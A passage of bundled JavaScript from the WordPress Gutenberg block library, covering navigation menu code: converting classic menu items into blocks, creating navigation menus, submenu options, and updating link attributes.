      [kind, type, id, hasCorrectBinding, blockEditingMode]
    );
    const clearBinding = (0, import_element70.useCallback)(() => {
      if (hasUrlBinding) {
        updateBlockBindings({ url: void 0 });
      }
    }, [updateBlockBindings, hasUrlBinding]);
    const createBinding = (0, import_element70.useCallback)(
      (updatedAttributes) => {
        const kindToUse = updatedAttributes?.kind ?? kind;
        if (!kindToUse) {
          return;
        }
        try {
          const binding = buildNavigationLinkEntityBinding(kindToUse);
          updateBlockBindings(binding);
        } catch (error) {
          console.warn(
            "Failed to create entity binding:",
            error.message
          );
        }
      },
      [updateBlockBindings, kind]
    );
    return {
      hasUrlBinding: hasCorrectBinding,
      isBoundEntityAvailable,
      entityRecord,
      clearBinding,
      createBinding
    };
  }

  // packages/block-library/build-module/navigation/menu-items-to-blocks.mjs
  function menuItemsToBlocks(menuItems) {
    if (!menuItems) {
      return null;
    }
    const menuTree = createDataTree(menuItems);
    const blocks = mapMenuItemsToBlocks(menuTree);
    return (0, import_hooks40.applyFilters)(
      "blocks.navigation.__unstableMenuItemsToBlocks",
      blocks,
      menuItems
    );
  }
  function mapMenuItemsToBlocks(menuItems, level = 0) {
    let mapping = {};
    const sortedItems = [...menuItems].sort(
      (a2, b2) => a2.menu_order - b2.menu_order
    );
    const innerBlocks = sortedItems.map((menuItem) => {
      if (menuItem.type === "block") {
        const [block2] = (0, import_blocks59.parse)(menuItem.content.raw);
        if (!block2) {
          return (0, import_blocks59.createBlock)("core/freeform", {
            content: menuItem.content
          });
        }
        return block2;
      }
      const blockType = menuItem.children?.length ? "core/navigation-submenu" : "core/navigation-link";
      const attributes2 = menuItemToBlockAttributes(
        menuItem,
        blockType,
        level
      );
      const {
        innerBlocks: nestedBlocks = [],
        // alias to avoid shadowing
        mapping: nestedMapping = {}
        // alias to avoid shadowing
      } = menuItem.children?.length ? mapMenuItemsToBlocks(menuItem.children, level + 1) : {};
      mapping = {
        ...mapping,
        ...nestedMapping
      };
      const block = (0, import_blocks59.createBlock)(blockType, attributes2, nestedBlocks);
      mapping[menuItem.id] = block.clientId;
      return block;
    });
    return {
      innerBlocks,
      mapping
    };
  }
  function menuItemToBlockAttributes({
    title: menuItemTitleField,
    xfn,
    classes,
    // eslint-disable-next-line camelcase
    attr_title,
    object,
    // eslint-disable-next-line camelcase
    object_id,
    description,
    url,
    type: menuItemTypeField,
    target
  }, blockType, level) {
    if (object && object === "post_tag") {
      object = "tag";
    }
    const inferredKind = menuItemTypeField?.replace("_", "-") || "custom";
    return {
      label: menuItemTitleField?.rendered || "",
      ...object?.length && {
        type: object
      },
      kind: inferredKind,
      url: url || "",
      ...xfn?.length && xfn.join(" ").trim() && {
        rel: xfn.join(" ").trim()
      },
      ...classes?.length && classes.join(" ").trim() && {
        className: classes.join(" ").trim()
      },
      /* eslint-disable camelcase */
      ...attr_title?.length && {
        title: attr_title
      },
      ...object_id && (inferredKind === "post-type" || inferredKind === "taxonomy") && {
        id: object_id,
        metadata: {
          bindings: buildNavigationLinkEntityBinding(inferredKind)
        }
      },
      /* eslint-enable camelcase */
      ...description?.length && {
        description
      },
      ...target === "_blank" && {
        opensInNewTab: true
      },
      ...blockType === "core/navigation-submenu" && {
        isTopLevelItem: level === 0
      },
      ...blockType === "core/navigation-link" && {
        isTopLevelLink: level === 0
      }
    };
  }
  function createDataTree(dataset, id = "id", relation = "parent") {
    const hashTable = /* @__PURE__ */ Object.create(null);
    const dataTree = [];
    for (const data of dataset) {
      hashTable[data[id]] = {
        ...data,
        children: []
      };
      if (data[relation]) {
        hashTable[data[relation]] = hashTable[data[relation]] || {};
        hashTable[data[relation]].children = hashTable[data[relation]].children || [];
        hashTable[data[relation]].children.push(
          hashTable[data[id]]
        );
      } else {
        dataTree.push(hashTable[data[id]]);
      }
    }
    return dataTree;
  }

  // packages/block-library/build-module/navigation/edit/use-convert-classic-menu-to-block-menu.mjs
  var CLASSIC_MENU_CONVERSION_SUCCESS = "success";
  var CLASSIC_MENU_CONVERSION_ERROR = "error";
  var CLASSIC_MENU_CONVERSION_PENDING = "pending";
  var CLASSIC_MENU_CONVERSION_IDLE = "idle";
  var classicMenuBeingConvertedId = null;
  function useConvertClassicToBlockMenu(createNavigationMenu, { throwOnError = false } = {}) {
    const registry = (0, import_data71.useRegistry)();
    const { editEntityRecord } = (0, import_data71.useDispatch)(import_core_data38.store);
    const [status, setStatus] = (0, import_element71.useState)(CLASSIC_MENU_CONVERSION_IDLE);
    const [error, setError] = (0, import_element71.useState)(null);
    const convertClassicMenuToBlockMenu = (0, import_element71.useCallback)(
      async (menuId, menuName, postStatus = "publish") => {
        let navigationMenu;
        let classicMenuItems;
        try {
          classicMenuItems = await registry.resolveSelect(import_core_data38.store).getMenuItems({
            menus: menuId,
            per_page: -1,
            context: "view"
          });
        } catch (err) {
          throw new Error(
            (0, import_i18n127.sprintf)(
              // translators: %s: The name of a menu (e.g. Header menu).
              (0, import_i18n127.__)(`Unable to fetch classic menu "%s" from API.`),
              menuName
            ),
            {
              cause: err
            }
          );
        }
        if (classicMenuItems === null) {
          throw new Error(
            (0, import_i18n127.sprintf)(
              // translators: %s: The name of a menu (e.g. Header menu).
              (0, import_i18n127.__)(`Unable to fetch classic menu "%s" from API.`),
              menuName
            )
          );
        }
        const { innerBlocks } = menuItemsToBlocks(classicMenuItems);
        try {
          navigationMenu = await createNavigationMenu(
            menuName,
            innerBlocks,
            postStatus
          );
          await editEntityRecord(
            "postType",
            "wp_navigation",
            navigationMenu.id,
            {
              status: "publish"
            },
            { throwOnError: true }
          );
        } catch (err) {
          throw new Error(
            (0, import_i18n127.sprintf)(
              // translators: %s: The name of a menu (e.g. Header menu).
              (0, import_i18n127.__)(`Unable to create Navigation Menu "%s".`),
              menuName
            ),
            {
              cause: err
            }
          );
        }
        return navigationMenu;
      },
      [createNavigationMenu, editEntityRecord, registry]
    );
    const convert = (0, import_element71.useCallback)(
      async (menuId, menuName, postStatus) => {
        if (classicMenuBeingConvertedId === menuId) {
          return;
        }
        classicMenuBeingConvertedId = menuId;
        if (!menuId || !menuName) {
          setError("Unable to convert menu. Missing menu details.");
          setStatus(CLASSIC_MENU_CONVERSION_ERROR);
          return;
        }
        setStatus(CLASSIC_MENU_CONVERSION_PENDING);
        setError(null);
        return await convertClassicMenuToBlockMenu(
          menuId,
          menuName,
          postStatus
        ).then((navigationMenu) => {
          setStatus(CLASSIC_MENU_CONVERSION_SUCCESS);
          classicMenuBeingConvertedId = null;
          return navigationMenu;
        }).catch((err) => {
          setError(err?.message);
          setStatus(CLASSIC_MENU_CONVERSION_ERROR);
          classicMenuBeingConvertedId = null;
          if (throwOnError) {
            throw new Error(
              (0, import_i18n127.sprintf)(
                // translators: %s: The name of a menu (e.g. Header menu).
                (0, import_i18n127.__)(`Unable to create Navigation Menu "%s".`),
                menuName
              ),
              {
                cause: err
              }
            );
          }
        });
      },
      [convertClassicMenuToBlockMenu, throwOnError]
    );
    return {
      convert,
      status,
      error
    };
  }
  var use_convert_classic_menu_to_block_menu_default = useConvertClassicToBlockMenu;

  // packages/block-library/build-module/navigation/edit/use-create-navigation-menu.mjs
  var import_blocks60 = __toESM(require_blocks(), 1);
  var import_core_data41 = __toESM(require_core_data(), 1);
  var import_data74 = __toESM(require_data(), 1);
  var import_element73 = __toESM(require_element(), 1);

  // packages/block-library/build-module/navigation/edit/use-generate-default-navigation-title.mjs
  var import_components83 = __toESM(require_components(), 1);
  var import_core_data40 = __toESM(require_core_data(), 1);
  var import_data73 = __toESM(require_data(), 1);
  var import_element72 = __toESM(require_element(), 1);
  var import_i18n128 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/navigation/use-template-part-area-label.mjs
  var import_block_editor145 = __toESM(require_block_editor(), 1);
  var import_core_data39 = __toESM(require_core_data(), 1);
  var import_data72 = __toESM(require_data(), 1);

  // packages/block-library/build-module/template-part/edit/utils/get-template-part-icon.mjs
  var getTemplatePartIcon = (areaOrIconName) => {
    if ("header" === areaOrIconName) {
      return header_default;
    } else if ("footer" === areaOrIconName) {
      return footer_default;
    } else if ("sidebar" === areaOrIconName) {
      return sidebar_default;
    } else if ("navigation-overlay" === areaOrIconName) {
      return navigation_overlay_default;
    }
    return symbol_filled_default;
  };

  // packages/block-library/build-module/navigation/use-template-part-area-label.mjs
  function useTemplatePartAreaLabel(clientId) {
    return (0, import_data72.useSelect)(
      (select9) => {
        if (!clientId) {
          return;
        }
        const { getBlock, getBlockParentsByBlockName } = select9(import_block_editor145.store);
        const withAscendingResults = true;
        const parentTemplatePartClientIds = getBlockParentsByBlockName(
          clientId,
          "core/template-part",
          withAscendingResults
        );
        if (!parentTemplatePartClientIds?.length) {
          return;
        }
        const { getCurrentTheme, getEditedEntityRecord } = select9(import_core_data39.store);
        const currentTheme = getCurrentTheme();
        const defaultTemplatePartAreas = currentTheme?.default_template_part_areas || [];
        const definedAreas = defaultTemplatePartAreas.map((item) => ({
          ...item,
          icon: getTemplatePartIcon(item.icon)
        }));
        for (const templatePartClientId of parentTemplatePartClientIds) {
          const templatePartBlock = getBlock(templatePartClientId);
          const { theme = currentTheme?.stylesheet, slug } = templatePartBlock.attributes;
          const templatePartEntityId = createTemplatePartId(
            theme,
            slug
          );
          const templatePartEntity = getEditedEntityRecord(
            "postType",
            "wp_template_part",
            templatePartEntityId
          );
          if (templatePartEntity?.area) {
            return definedAreas.find(
              (definedArea) => definedArea.area !== "uncategorized" && definedArea.area === templatePartEntity.area
            )?.label;
          }
        }
      },
      [clientId]
    );
  }

  // packages/block-library/build-module/navigation/edit/use-generate-default-navigation-title.mjs
  var DRAFT_MENU_PARAMS = [
    "postType",
    "wp_navigation",
    { status: "draft", per_page: -1 }
  ];
  var PUBLISHED_MENU_PARAMS = [
    "postType",
    "wp_navigation",
    { per_page: -1, status: "publish" }
  ];
  function useGenerateDefaultNavigationTitle(clientId) {
    const isDisabled = (0, import_element72.useContext)(import_components83.Disabled.Context);
    const area = useTemplatePartAreaLabel(isDisabled ? void 0 : clientId);
    const registry = (0, import_data73.useRegistry)();
    return (0, import_element72.useCallback)(async () => {
      if (isDisabled) {
        return "";
      }
      const { getEntityRecords } = registry.resolveSelect(import_core_data40.store);
      const [draftNavigationMenus, navigationMenus] = await Promise.all([
        getEntityRecords(...DRAFT_MENU_PARAMS),
        getEntityRecords(...PUBLISHED_MENU_PARAMS)
      ]);
      const title = area ? (0, import_i18n128.sprintf)(
        // translators: %s: the name of a menu (e.g. Header menu).
        (0, import_i18n128.__)("%s menu"),
        area
      ) : (
        // translators: 'menu' as in website navigation menu.
        (0, import_i18n128.__)("Menu")
      );
      const matchingMenuTitleCount = [
        ...draftNavigationMenus,
        ...navigationMenus
      ].reduce(
        (count, menu) => menu?.title?.raw?.startsWith(title) ? count + 1 : count,
        0
      );
      const titleWithCount = matchingMenuTitleCount > 0 ? `${title} ${matchingMenuTitleCount + 1}` : title;
      return titleWithCount || "";
    }, [isDisabled, area, registry]);
  }

  // packages/block-library/build-module/navigation/edit/use-create-navigation-menu.mjs
  var CREATE_NAVIGATION_MENU_SUCCESS = "success";
  var CREATE_NAVIGATION_MENU_ERROR = "error";
  var CREATE_NAVIGATION_MENU_PENDING = "pending";
  var CREATE_NAVIGATION_MENU_IDLE = "idle";
  function useCreateNavigationMenu(clientId) {
    const [status, setStatus] = (0, import_element73.useState)(CREATE_NAVIGATION_MENU_IDLE);
    const [value, setValue] = (0, import_element73.useState)(null);
    const [error, setError] = (0, import_element73.useState)(null);
    const { saveEntityRecord, editEntityRecord } = (0, import_data74.useDispatch)(import_core_data41.store);
    const generateDefaultTitle = useGenerateDefaultNavigationTitle(clientId);
    const create5 = (0, import_element73.useCallback)(
      async (title = null, blocks = [], postStatus) => {
        if (title && typeof title !== "string") {
          setError(
            "Invalid title supplied when creating Navigation Menu."
          );
          setStatus(CREATE_NAVIGATION_MENU_ERROR);
          throw new Error(
            `Value of supplied title argument was not a string.`
          );
        }
        setStatus(CREATE_NAVIGATION_MENU_PENDING);
        setValue(null);
        setError(null);
        if (!title) {
          title = await generateDefaultTitle().catch((err) => {
            setError(err?.message);
            setStatus(CREATE_NAVIGATION_MENU_ERROR);
            throw new Error(
              "Failed to create title when saving new Navigation Menu.",
              {
                cause: err
              }
            );
          });
        }
        const record = {
          title,
          content: (0, import_blocks60.serialize)(blocks),
          status: postStatus
        };
        return saveEntityRecord("postType", "wp_navigation", record).then((response) => {
          setValue(response);
          setStatus(CREATE_NAVIGATION_MENU_SUCCESS);
          if (postStatus !== "publish") {
            editEntityRecord(
              "postType",
              "wp_navigation",
              response.id,
              { status: "publish" }
            );
          }
          return response;
        }).catch((err) => {
          setError(err?.message);
          setStatus(CREATE_NAVIGATION_MENU_ERROR);
          throw new Error("Unable to save new Navigation Menu", {
            cause: err
          });
        });
      },
      [saveEntityRecord, editEntityRecord, generateDefaultTitle]
    );
    return {
      create: create5,
      status,
      value,
      error,
      isIdle: status === CREATE_NAVIGATION_MENU_IDLE,
      isPending: status === CREATE_NAVIGATION_MENU_PENDING,
      isSuccess: status === CREATE_NAVIGATION_MENU_SUCCESS,
      isError: status === CREATE_NAVIGATION_MENU_ERROR
    };
  }

  // packages/block-library/build-module/navigation/edit/use-inner-blocks.mjs
  var import_data75 = __toESM(require_data(), 1);
  var import_block_editor146 = __toESM(require_block_editor(), 1);
  var EMPTY_ARRAY2 = [];
  function useInnerBlocks(clientId) {
    return (0, import_data75.useSelect)(
      (select9) => {
        const { getBlock, getBlocks, hasSelectedInnerBlock } = select9(import_block_editor146.store);
        const _uncontrolledInnerBlocks = getBlock(clientId).innerBlocks;
        const _hasUncontrolledInnerBlocks = !!_uncontrolledInnerBlocks?.length;
        const _controlledInnerBlocks = _hasUncontrolledInnerBlocks ? EMPTY_ARRAY2 : getBlocks(clientId);
        return {
          innerBlocks: _hasUncontrolledInnerBlocks ? _uncontrolledInnerBlocks : _controlledInnerBlocks,
          hasUncontrolledInnerBlocks: _hasUncontrolledInnerBlocks,
          uncontrolledInnerBlocks: _uncontrolledInnerBlocks,
          controlledInnerBlocks: _controlledInnerBlocks,
          isInnerBlockSelected: hasSelectedInnerBlock(clientId, true)
        };
      },
      [clientId]
    );
  }

  // packages/block-library/build-module/navigation/edit/manage-menus-button.mjs
  var import_url11 = __toESM(require_url(), 1);
  var import_components84 = __toESM(require_components(), 1);
  var import_i18n129 = __toESM(require_i18n(), 1);
  var import_jsx_runtime320 = __toESM(require_jsx_runtime(), 1);
  var ManageMenusButton = ({
    className = "",
    disabled,
    isMenuItem = false
  }) => {
    let ComponentName = import_components84.Button;
    if (isMenuItem) {
      ComponentName = import_components84.MenuItem;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime320.jsx)(
      ComponentName,
      {
        variant: "link",
        disabled,
        className,
        href: (0, import_url11.addQueryArgs)("edit.php", {
          post_type: "wp_navigation"
        }),
        children: (0, import_i18n129.__)("Manage menus")
      }
    );
  };
  var manage_menus_button_default = ManageMenusButton;

  // packages/block-library/build-module/navigation/edit/menu-inspector-controls.mjs
  var import_block_editor156 = __toESM(require_block_editor(), 1);
  var import_components91 = __toESM(require_components(), 1);
  var import_data84 = __toESM(require_data(), 1);
  var import_i18n139 = __toESM(require_i18n(), 1);
  var import_element79 = __toESM(require_element(), 1);

  // packages/block-library/build-module/navigation/edit/deleted-navigation-warning.mjs
  var import_block_editor147 = __toESM(require_block_editor(), 1);
  var import_components85 = __toESM(require_components(), 1);
  var import_i18n130 = __toESM(require_i18n(), 1);
  var import_element74 = __toESM(require_element(), 1);
  var import_jsx_runtime321 = __toESM(require_jsx_runtime(), 1);
  function DeletedNavigationWarning({ onCreateNew, isNotice = false }) {
    const [isButtonDisabled, setIsButtonDisabled] = (0, import_element74.useState)(false);
    const handleButtonClick = () => {
      setIsButtonDisabled(true);
      onCreateNew();
    };
    const message = (0, import_element74.createInterpolateElement)(
      (0, import_i18n130.__)(
        "Navigation Menu has been deleted or is unavailable. <button>Create a new Menu?</button>"
      ),
      {
        button: /* @__PURE__ */ (0, import_jsx_runtime321.jsx)(
          import_components85.Button,
          {
            __next40pxDefaultSize: true,
            onClick: handleButtonClick,
            variant: "link",
            disabled: isButtonDisabled,
            accessibleWhenDisabled: true
          }
        )
      }
    );
    return isNotice ? /* @__PURE__ */ (0, import_jsx_runtime321.jsx)(import_components85.Notice, { status: "warning", isDismissible: false, children: message }) : /* @__PURE__ */ (0, import_jsx_runtime321.jsx)(import_block_editor147.Warning, { children: message });
  }
  var deleted_navigation_warning_default = DeletedNavigationWarning;

  // packages/block-library/build-module/navigation/edit/leaf-more-menu.mjs
  var import_blocks61 = __toESM(require_blocks(), 1);
  var import_components86 = __toESM(require_components(), 1);
  var import_data76 = __toESM(require_data(), 1);
  var import_i18n131 = __toESM(require_i18n(), 1);
  var import_block_editor148 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime322 = __toESM(require_jsx_runtime(), 1);
  var POPOVER_PROPS = {
    className: "block-editor-block-settings-menu__popover",
    placement: "bottom-start"
  };
  var BLOCKS_THAT_CAN_BE_CONVERTED_TO_SUBMENU = [
    "core/navigation-link",
    "core/navigation-submenu"
  ];
  function AddSubmenuItem({
    block,
    onClose,
    expandedState,
    expand,
    setInsertedBlock
  }) {
    const { insertBlock, replaceBlock, replaceInnerBlocks } = (0, import_data76.useDispatch)(import_block_editor148.store);
    const clientId = block.clientId;
    const isDisabled = !BLOCKS_THAT_CAN_BE_CONVERTED_TO_SUBMENU.includes(
      block.name
    );
    return /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(
      import_components86.MenuItem,
      {
        icon: add_submenu_default,
        disabled: isDisabled,
        onClick: () => {
          const updateSelectionOnInsert = false;
          const newLink = (0, import_blocks61.createBlock)(
            DEFAULT_BLOCK5.name,
            DEFAULT_BLOCK5.attributes
          );
          if (block.name === "core/navigation-submenu") {
            insertBlock(
              newLink,
              block.innerBlocks.length,
              clientId,
              updateSelectionOnInsert
            );
          } else {
            const newSubmenu = (0, import_blocks61.createBlock)(
              "core/navigation-submenu",
              block.attributes,
              block.innerBlocks
            );
            replaceBlock(clientId, newSubmenu);
            replaceInnerBlocks(
              newSubmenu.clientId,
              [newLink],
              updateSelectionOnInsert
            );
          }
          setInsertedBlock(newLink);
          if (!expandedState[block.clientId]) {
            expand(block.clientId);
          }
          onClose();
        },
        children: (0, import_i18n131.__)("Add submenu link")
      }
    );
  }
  function LeafMoreMenu(props) {
    const { block } = props;
    const { clientId } = block;
    const { moveBlocksDown, moveBlocksUp, removeBlocks } = (0, import_data76.useDispatch)(import_block_editor148.store);
    const removeLabel = (0, import_i18n131.sprintf)(
      /* translators: %s: block name */
      (0, import_i18n131.__)("Remove %s"),
      (0, import_block_editor148.BlockTitle)({ clientId, maximumLength: 25 })
    );
    const rootClientId = (0, import_data76.useSelect)(
      (select9) => {
        const { getBlockRootClientId } = select9(import_block_editor148.store);
        return getBlockRootClientId(clientId);
      },
      [clientId]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(
      import_components86.DropdownMenu,
      {
        icon: more_vertical_default,
        label: (0, import_i18n131.__)("Options"),
        className: "block-editor-block-settings-menu",
        popoverProps: POPOVER_PROPS,
        noIcons: true,
        ...props,
        children: ({ onClose }) => /* @__PURE__ */ (0, import_jsx_runtime322.jsxs)(import_jsx_runtime322.Fragment, { children: [
          /* @__PURE__ */ (0, import_jsx_runtime322.jsxs)(import_components86.MenuGroup, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(
              import_components86.MenuItem,
              {
                icon: chevron_up_default,
                onClick: () => {
                  moveBlocksUp([clientId], rootClientId);
                  onClose();
                },
                children: (0, import_i18n131.__)("Move up")
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(
              import_components86.MenuItem,
              {
                icon: chevron_down_default,
                onClick: () => {
                  moveBlocksDown([clientId], rootClientId);
                  onClose();
                },
                children: (0, import_i18n131.__)("Move down")
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(
              AddSubmenuItem,
              {
                block,
                onClose,
                expandedState: props.expandedState,
                expand: props.expand,
                setInsertedBlock: props.setInsertedBlock
              }
            )
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(import_components86.MenuGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(
            import_components86.MenuItem,
            {
              onClick: () => {
                removeBlocks([clientId], false);
                onClose();
              },
              children: removeLabel
            }
          ) })
        ] })
      }
    );
  }

  // packages/block-library/build-module/navigation-link/shared/controls.mjs
  var import_components90 = __toESM(require_components(), 1);
  var import_i18n137 = __toESM(require_i18n(), 1);
  var import_dom7 = __toESM(require_dom(), 1);
  var import_block_editor154 = __toESM(require_block_editor(), 1);
  var import_data82 = __toESM(require_data(), 1);
  var import_core_data46 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/navigation-link/shared/use-handle-link-change.mjs
  var import_element75 = __toESM(require_element(), 1);
  var import_data77 = __toESM(require_data(), 1);
  var import_block_editor149 = __toESM(require_block_editor(), 1);
  var import_dom5 = __toESM(require_dom(), 1);
  var import_escape_html2 = __toESM(require_escape_html(), 1);

  // packages/block-library/build-module/navigation-link/shared/update-attributes.mjs
  var import_escape_html = __toESM(require_escape_html(), 1);
  var import_url12 = __toESM(require_url(), 1);
  var shouldSeverEntityLink = (originalUrl, newUrl) => {
    if (!originalUrl || !newUrl) {
      return false;
    }
    const normalizePath = (path) => {
      if (!path) {
        return "";
      }
      return path.replace(/\/+$/, "");
    };
    const createUrlObject = (url, baseUrl = null) => {
      try {
        const base = baseUrl || (typeof window !== "undefined" ? window.location.origin : "https://wordpress.org");
        return new URL(url, base);
      } catch (error) {
        return null;
      }
    };
    const originalUrlObj = createUrlObject(originalUrl);
    if (!originalUrlObj) {
      return true;
    }
    const newUrlObj = createUrlObject(newUrl, originalUrl);
    if (!newUrlObj) {
      return true;
    }
    const originalHostname = originalUrlObj.hostname;
    const newHostname = newUrlObj.hostname;
    const originalPath = normalizePath((0, import_url12.getPath)(originalUrlObj.toString()));
    const newPath = normalizePath((0, import_url12.getPath)(newUrlObj.toString()));
    if (originalHostname !== newHostname || originalPath !== newPath) {
      return true;
    }
    const originalP = originalUrlObj.searchParams.get("p");
    const newP = newUrlObj.searchParams.get("p");
    if (originalP && newP && originalP !== newP) {
      return true;
    }
    const originalPageId = originalUrlObj.searchParams.get("page_id");
    const newPageId = newUrlObj.searchParams.get("page_id");
    if (originalPageId && newPageId && originalPageId !== newPageId) {
      return true;
    }
    if (originalP && newPageId || originalPageId && newP) {
      return true;
    }
    return false;
  };
  var updateAttributes = (updatedValue = {}, setAttributes, blockAttributes8 = {}) => {
    const {
      label: originalLabel = "",
      kind: originalKind = "",
      type: originalType = ""
    } = blockAttributes8;
    const {
      title: newLabel = "",
      // the title of any provided Post.
      label: newLabelFromLabel = "",
      // alternative to title
      url: newUrl,
      opensInNewTab,
      id: newID,
      kind: newKind = originalKind,
      type: newType = originalType
    } = updatedValue;
    const finalNewLabel = newLabel || newLabelFromLabel;
    const newLabelWithoutHttp = finalNewLabel.replace(/http(s?):\/\//gi, "");
    const newUrlWithoutHttp = newUrl?.replace(/http(s?):\/\//gi, "") ?? "";
    const useNewLabel = finalNewLabel && finalNewLabel !== originalLabel && // LinkControl without the title field relies
    // on the check below. Specifically, it assumes that
    // the URL is the same as a title.
    // This logic a) looks suspicious and b) should really
    // live in the LinkControl and not here. It's a great
    // candidate for future refactoring.
    newLabelWithoutHttp !== newUrlWithoutHttp;
    const label = useNewLabel ? (0, import_escape_html.escapeHTML)(finalNewLabel) : originalLabel || (0, import_escape_html.escapeHTML)(newUrlWithoutHttp);
    const type = newType === "post_tag" ? "tag" : newType.replace("-", "_");
    const isBuiltInType = ["post", "page", "tag", "category"].indexOf(type) > -1;
    const isCustomLink = !newKind && !isBuiltInType || newKind === "custom";
    const kind = isCustomLink ? "custom" : newKind;
    const attributes2 = {
      // Passed `url` may already be encoded. To prevent double encoding, decodeURI is executed to revert to the original string.
      ...newUrl !== void 0 ? { url: newUrl ? encodeURI((0, import_url12.safeDecodeURI)(newUrl)) : newUrl } : {},
      ...label && { label },
      ...void 0 !== opensInNewTab && { opensInNewTab },
      ...kind && { kind },
      ...type && type !== "URL" && { type }
    };
    if (newUrl && !newID && blockAttributes8.id) {
      const shouldSever = shouldSeverEntityLink(
        blockAttributes8.url,
        newUrl
      );
      if (shouldSever) {
        attributes2.id = void 0;
        attributes2.kind = "custom";
        attributes2.type = "custom";
      }
    } else if (newID && Number.isInteger(newID)) {
      attributes2.id = newID;
    } else if (blockAttributes8.id) {
      attributes2.kind = kind;
      attributes2.type = type;
    }
    setAttributes(attributes2);
    const finalId = "id" in attributes2 ? attributes2.id : blockAttributes8.id;
    const finalKind = "kind" in attributes2 ? attributes2.kind : blockAttributes8.kind;
    return {
      isEntityLink: !!finalId && finalKind !== "custom",
      attributes: attributes2
      // Return the computed attributes object
    };
  };

  // packages/block-library/build-module/navigation-link/shared/use-handle-link-change.mjs
  function useHandleLinkChange({
    clientId,
    attributes: attributes2,
    setAttributes,
    allowTextUpdate = false
  }) {
    const { updateBlockAttributes } = (0, import_data77.useDispatch)(import_block_editor149.store);
    const { hasUrlBinding, createBinding, clearBinding } = useEntityBinding({
      clientId,
      attributes: attributes2
    });
    return (0, import_element75.useCallback)(
      (updatedLink) => {
        if (!updatedLink) {
          return;
        }
        const attrs = {
          url: updatedLink.url,
          kind: updatedLink.kind,
          type: updatedLink.type,
          id: updatedLink.id
        };
        const currentText = attributes2.label ? (0, import_dom5.__unstableStripHTML)(attributes2.label) : "";
        const updatedText = updatedLink.title ?? "";
        const hasTextUpdate = allowTextUpdate && updatedLink.title !== void 0 && updatedText !== currentText;
        const textUpdateAttributes = hasTextUpdate ? { label: (0, import_escape_html2.escapeHTML)(updatedText) } : {};
        if (!attributes2.label || attributes2.label === "" || hasTextUpdate) {
          attrs.title = updatedLink.title;
        }
        const willBeCustomLink = !updatedLink.id && hasUrlBinding;
        if (willBeCustomLink) {
          clearBinding();
          updateBlockAttributes(clientId, {
            url: updatedLink.url,
            kind: "custom",
            type: "custom",
            id: void 0,
            ...textUpdateAttributes
          });
        } else {
          const { isEntityLink, attributes: updatedAttributes } = updateAttributes(attrs, setAttributes, attributes2);
          if (isEntityLink) {
            createBinding(updatedAttributes);
          } else {
            clearBinding();
          }
          if (Object.keys(textUpdateAttributes).length) {
            updateBlockAttributes(clientId, textUpdateAttributes);
          }
        }
      },
      [
        attributes2,
        allowTextUpdate,
        clientId,
        hasUrlBinding,
        createBinding,
        clearBinding,
        setAttributes,
        updateBlockAttributes
      ]
    );
  }

  // packages/block-library/build-module/navigation-link/link-ui/index.mjs
  var import_dom6 = __toESM(require_dom(), 1);
  var import_components89 = __toESM(require_components(), 1);
  var import_i18n135 = __toESM(require_i18n(), 1);
  var import_block_editor151 = __toESM(require_block_editor(), 1);
  var import_element77 = __toESM(require_element(), 1);
  var import_core_data43 = __toESM(require_core_data(), 1);
  var import_compose34 = __toESM(require_compose(), 1);
  var import_url13 = __toESM(require_url(), 1);

  // packages/block-library/build-module/navigation-link/link-ui/page-creator.mjs
  var import_components88 = __toESM(require_components(), 1);
  var import_i18n133 = __toESM(require_i18n(), 1);
  var import_data78 = __toESM(require_data(), 1);
  var import_core_data42 = __toESM(require_core_data(), 1);
  var import_notices13 = __toESM(require_notices(), 1);
  var import_html_entities5 = __toESM(require_html_entities(), 1);
  var import_element76 = __toESM(require_element(), 1);

  // packages/block-library/build-module/navigation-link/link-ui/dialog-wrapper.mjs
  var import_components87 = __toESM(require_components(), 1);
  var import_i18n132 = __toESM(require_i18n(), 1);
  var import_compose33 = __toESM(require_compose(), 1);
  var import_jsx_runtime323 = __toESM(require_jsx_runtime(), 1);
  function BackButton({ className, onBack }) {
    return /* @__PURE__ */ (0, import_jsx_runtime323.jsx)(
      import_components87.Button,
      {
        className,
        icon: (0, import_i18n132.isRTL)() ? chevron_right_small_default : chevron_left_small_default,
        onClick: (e2) => {
          e2.preventDefault();
          onBack();
        },
        size: "small",
        children: (0, import_i18n132.__)("Back")
      }
    );
  }
  function DialogWrapper({ className, title, description, onBack, children }) {
    const dialogTitleId = (0, import_compose33.useInstanceId)(
      DialogWrapper,
      "link-ui-dialog-title"
    );
    const dialogDescriptionId = (0, import_compose33.useInstanceId)(
      DialogWrapper,
      "link-ui-dialog-description"
    );
    const focusOnMountRef = (0, import_compose33.useFocusOnMount)("firstElement");
    const backButtonClassName = `${className}__back`;
    return /* @__PURE__ */ (0, import_jsx_runtime323.jsxs)(
      "div",
      {
        className,
        role: "dialog",
        "aria-labelledby": dialogTitleId,
        "aria-describedby": dialogDescriptionId,
        ref: focusOnMountRef,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime323.jsxs)(import_components87.VisuallyHidden, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime323.jsx)("h2", { id: dialogTitleId, children: title }),
            /* @__PURE__ */ (0, import_jsx_runtime323.jsx)("p", { id: dialogDescriptionId, children: description })
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime323.jsx)(BackButton, { className: backButtonClassName, onBack }),
          children
        ]
      }
    );
  }
  var dialog_wrapper_default = DialogWrapper;

  // packages/block-library/build-module/navigation-link/link-ui/page-creator.mjs
  var import_jsx_runtime324 = __toESM(require_jsx_runtime(), 1);
  function LinkUIPageCreator({
    postType,
    onBack,
    onPageCreated,
    initialTitle = ""
  }) {
    const [title, setTitle] = (0, import_element76.useState)(initialTitle);
    const [shouldPublish, setShouldPublish] = (0, import_element76.useState)(true);
    const isTitleValid = title.trim().length > 0;
    const { lastError, isSaving } = (0, import_data78.useSelect)(
      (select9) => ({
